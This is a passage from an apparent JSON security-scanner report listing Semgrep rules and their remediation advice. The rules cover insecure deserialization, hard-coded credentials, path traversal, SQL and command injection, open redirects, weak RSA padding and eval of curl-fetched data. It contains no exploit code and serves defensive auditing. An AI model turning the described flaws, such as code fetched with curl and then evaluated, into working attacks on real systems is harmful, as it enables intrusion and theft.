Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","id":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","name":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key vault should have purge protection enabled"},"help":{"markdown":"Key vault should have purge protection enabled\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection](https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection)\n","text":"Key vault should have purge protection enabled"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","id":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","name":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly","id":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","name":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"help":{"markdown":"In $METHOD, $X is used to construct a SQL query via string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation","id":"java.jboss.security.session_sqli.find-sql-string-concatenation","name":"java.jboss.security.session_sqli.find-sql-string-concatenation","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.session_sqli.find-sql-string-concatenation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","id":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","name":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"help":{"markdown":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","id":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","name":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"help":{"markdown":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","id":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","name":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","id":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","name":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key","id":"go.jwt-go.security.jwt.hardcoded-jwt-key","name":"go.jwt-go.security.jwt.hardcoded-jwt-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt.hardcoded-jwt-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","id":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","name":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","id":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","name":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"help":{"markdown":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"helpUri":"https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","id":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","name":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"help":{"markdown":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect)\n - [https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/](https://www.djm.org.uk/posts/djangos-little-protections-word-redirect-dangers/)\n - [https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231](https://github.com/django/django/blob/d1b7bd030b1db111e1a3505b1fc029ab964382cc/django/utils/http.py#L231)\n","text":"Data from request ($DATA) is passed to redirect(). This is an open redirect and could be exploited. Ensure you are redirecting to safe URLs by using django.utils.http.is_safe_url(). See https://cwe.mitre.org/data/definitions/601.html for more information."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.open-redirect.open-redirect","id":"python.django.security.injection.open-redirect.open-redirect","name":"python.django.security.injection.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","id":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","name":"python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"help":{"markdown":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt)\n - [https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/](https://cryptography.io/en/latest/hazmat/primitives/asymmetric/dsa/)\n - [https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf](https://nvlpubs.nist.gov/nistpubs/FIPS/NIST.FIPS.186-5.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n - [https://words.filippo.io/dispatches/dsa/](https://words.filippo.io/dispatches/dsa/)\n","text":"The implementation of the PKCS1 v1.5 padding scheme in the `cryptography` package is vulnerable to timing attacks. The RSA decryption raises an exception on failure, which takes a different amount of time than returning a value upon success. This is not considered secure and it is not recommended that PKCS1v15 is used in new applications. OAEP should be preferred for encryption and PSS should be preferred for signatures. In general, low-level cryptographic primitives, found in the `cryptography.hazmat package`, are complex and potentially dangerous, requiring deep cryptographic knowledge. It is recommended to use the higher-level recipes layer as a secure default and resort to the hazmat layer only when necessary."},"helpUri":"https://semgrep.dev/r/python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","id":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","name":"python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.cryptography-rsa-pkcs1-encrypt.cryptography-rsa-pkcs1-encrypt"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity."},"help":{"markdown":"Data is being eval'd from a `curl` command. An attacker with control of the server in the `curl` command could inject malicious code into the `eval`, resulting in a system comrpomise. Avoid eval'ing untrusted data if you can. If you must do this, consider checking the SHA sum of the content returned by the server to verify its integrity.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/bash.curl.security.curl-eval.curl-eval)\n - 